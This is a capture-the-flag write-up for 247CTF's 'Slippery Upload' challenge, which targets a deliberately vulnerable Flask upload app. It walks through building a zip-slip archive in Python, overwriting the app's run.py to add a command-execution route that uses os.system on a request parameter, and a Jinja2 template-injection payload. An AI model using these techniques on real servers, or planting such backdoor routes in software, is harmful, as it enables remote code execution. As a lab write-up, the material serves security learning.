247CTF "Slippery Upload" Write-Up

Read an in-depth explanation of the 247CTF on Flask.

247CTF "Slippery Upload" Write-Up

This challenge has to be, by far, one of my favorites on the platform. Not only was it great fun to play, but it was also a really well-made challenge. I went down multiple rabbit holes, made progression, slowly, but steadily.

If any queries or doubts surface, feel free to contact me at https://twitter.com/SecGus.

Analysis

from flask import Flask, request
import zipfile, os

# Import modules

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32)
app.config['MAX_CONTENT_LENGTH'] = 1 * 1024 * 1024
app.config['UPLOAD_FOLDER'] = '/tmp/uploads/'

# Configure flask

@app.route('/') # Define what to do when webroot is hit
def source():
    return '

%s

' % open('/app/run.py').read() # Return this python scripts source code

def zip_extract(zarchive): # Define a function called "zip_extract" and accept a parameter
    with zipfile.ZipFile(zarchive, 'r') as z: # With read zarchive as "z"
        for i in z.infolist(): # For each value (i) in zarchives infolist() output
            with open(os.path.join(app.config['UPLOAD_FOLDER'], i.filename), 'wb') as f:
                f.write(z.open(i.filename, 'r').read()) # Write files in the zip file to the upload folder (/tmp/uploads) appended to our file name (this is vulnerable to the zip slip vulnerability)

@app.route('/zip_upload', methods=['POST']) # Only accept POST method to this endpoint
def zip_upload():
    try: # Error handling
        if request.files and 'zarchive' in request.files: # If a file exists in the request then
            zarchive = request.files['zarchive'] # Assign the contents of the posted file with name "zarchive" to the zarchive variable
            if zarchive and '.' in zarchive.filename and zarchive.filename.rsplit('.', 1)[1].lower() == 'zip' and zarchive.content_type == 'application/octet-stream':
# If zarchive is True (not null), and there is a "." in the filename, and then split the filename into an array, using a "." as a delimiter, check for the second value in the array, and make sure it is zip, finally, check the MIME is application/octet-stream.
                zpath = os.path.join(app.config['UPLOAD_FOLDER'], '%s.zip' % os.urandom(8).hex()) # Set the path of the zip to be /tmp/uploads + 8 random hex bytes + .zip
                zarchive.save(zpath) # Save the zip
                zip_extract(zpath) # Run the extraction zip
                return 'Zip archive uploaded and extracted!' # Return the success message
        return 'Only valid zip archives are acepted!' # Return the restriction error message
    except:
         return 'Error occured during the zip upload process!' # Return the error message

if __name__ == '__main__':
    app.run()

Exploitation

A couple of things I noticed from the first look at the challenge were:

  • There was no form provided for the file upload.
  • There was a clear zip slip (path traversal) vulnerability (lines 24 & 25).
  • The "os" module was imported into the script.
  • The full path of the application was disclosed on line 19.

Keeping this in mind, I knew flask file write to RCE was a possibility, in certain circumstances. For example, if the script imported other custom modules in a different directory that you have to write access to, it will create an over-writable __init__.py file (See More). Or if you can somehow write to an authorized_keys file, you can SSH in.

However, this challenge did neither of the above. For a long time, I was stumped on how I could actually achieve RCE. In my mind, I thought, if I overwrite the /app/run.py file, it will crash the service, and I will be locked out, so I avoided testing it the whole time (I even nmapped the challenge to find other ports...). I spent a while staring at "Error occured during the zip upload process!" and reading about how flask works. I then remembered learning that a flask app runs in debug mode will automatically restart the service when a change is made to the application's script (See more).

This gave me a thought: what if I had been overthinking the whole time, and it was just a matter of uploading the app.py file. To test this theory, the first step is to give ourselves the necessary tools to make the post request with the file to the server. I made a really basic HTML file upload form that pointed at my challenge endpoint:

<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="utf-8"/>
        <title>File Upload</title>
    </head>
    <body>
        <form action="https://XXX.247ctf.com/zip_upload" method="post" enctype="multipart/form-data">
            <input type="file" name="zarchive" value="text default" />
            <button type="submit">Submit</button>
        </form>
    </body>
</html>

Now we can verify the upload works with a valid zip. For this, I created a new file and simply zipped it up with zip test.zip test.

chiv@Dungeon:~$ echo "test" > test
chiv@Dungeon:~$ zip test.zip test
  adding: test (stored 0%)

For some reason, the file upload doesn't seem to think our zip is a valid one, so I used burp to intercept and debug the request that was sent.

The intercepted request is:

Immediately we can see the issue: the content type is set to application/zip and not application/octet-stream. A quick, easy fix for any match / replace situations is using Burp Suite's match & replace function. I made use of this to tunnel all my requests through burp and have burp replace any application/zip strings with application/octet-stream.

Let's try again:

Perfect. Now, for the vulnerability analysis, we know that there is a zip slip/path traversal bug. We can build an example zip and try to extract it to the webserver, see if any errors appear. To build the zip slip malicious zip, I wrote a simple python script that writes a string to a file with the path traversal in its name, and then zips it all up into a new file.

import zipfile
from cStringIO import StringIO

def zip_up():
    f = StringIO()
    z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
    z.writestr('../test', 'test')
    zip = open('slip.zip', 'wb')
    zip.write(f.getvalue())
    zip.close()
    z.close()

zip_up()

After running the script, I uploaded the file, which all seemed to have gone well, as no errors were caused. Now we can start thinking about leveraging the vulnerability to achieve code execution. As stated earlier, I looked into overwriting __init__.py files and had no luck. I also tried overwriting some of the modules it imports, which obviously failed due to permissions.

In the end, I went back to my initial idea of overwriting the run.py file. I modified my zip building script to write "test" to a file that will end up in /app/run.py and then upload it. It seemed to go OK, although I got an internal server error and couldn't hit my endpoint... of course, I the script can't handle requests if I replace it with test. I restarted the challenge and started trying again. I decided to overwrite the run.py with a copy of run.py with minor modifications, for example, a comment, to verify that the file was overwritten. No errors are shown, although the web server is taking a while to respond, maybe it is restarting.

We finally get a response from the server and bingo:

[...]
app.config['UPLOAD_FOLDER'] = '/tmp/uploads/'

@app.route('/')
def source():
    return '%s' % open('/app/run.py').read()

# Chiv was here

def zip_extract(zarchive):
    with zipfile.ZipFile(zarchive, 'r') as z:
        for i in z.infolist():
            with open(os.path.join(app.config['UPLOAD_FOLDER'], i.filename), 'wb') as f:
                f.write(z.open(i.filename, 'r').read())

@app.route('/zip_upload', methods=['POST'])
def zip_upload():
[...]

We can clearly see the server has been modified. At this point, my first reaction was to make use of the OS module that was already imported. I added a conditional and the request for a get parameter to run a command on the server:

@app.route('/exec')
def runcmd():
    try:
        return os.system(request.args.get('cmd'))
    except:
        return "Exit"

Great. This carried on for a while, and I couldn't quite figure out why. I decided to use the flask template rendering to give me a more in-depth look into what the application has access to (what modules are accessible, for example).

from flask import Flask, request, render_template_string

[...]

@app.route('/exec')
def runcmd():
    try:
        return render_template_string(request.args.get('cmd'))
    except:
        return "Exit"
[...]

And after a re-upload, the malicious zip and verify the SSTI works with {{'7'*7}}.

We now have a functioning template injection. We can use the normal subclass listing, as seen in Jinja2 SSTI payloads, to list everything we have access to. We can also use it to find something that could allow command execution: such as, a specific function belonging to the "os" module, or belonging to the "subprocess" module.

https://XXX.247ctf.com/exec?cmd={{x.__class__.__base__.__subclasses__()}}

After identifying a valid module I can use for RCE via the template, I simply ran the necessary commands to find and read the flag.

Conclusion

In conclusion, I massively enjoyed the challenge. As usual, https://247ctf.com delivers excellent challenges. I certainly learned a new circumstance to elevate from Flask file write to RCE.

For any further questions, feel free to get in touch at https://twitter.com/SecGus

The awesome image used in this article is called "Chemist" and was created by Anton Fritsler (kit8)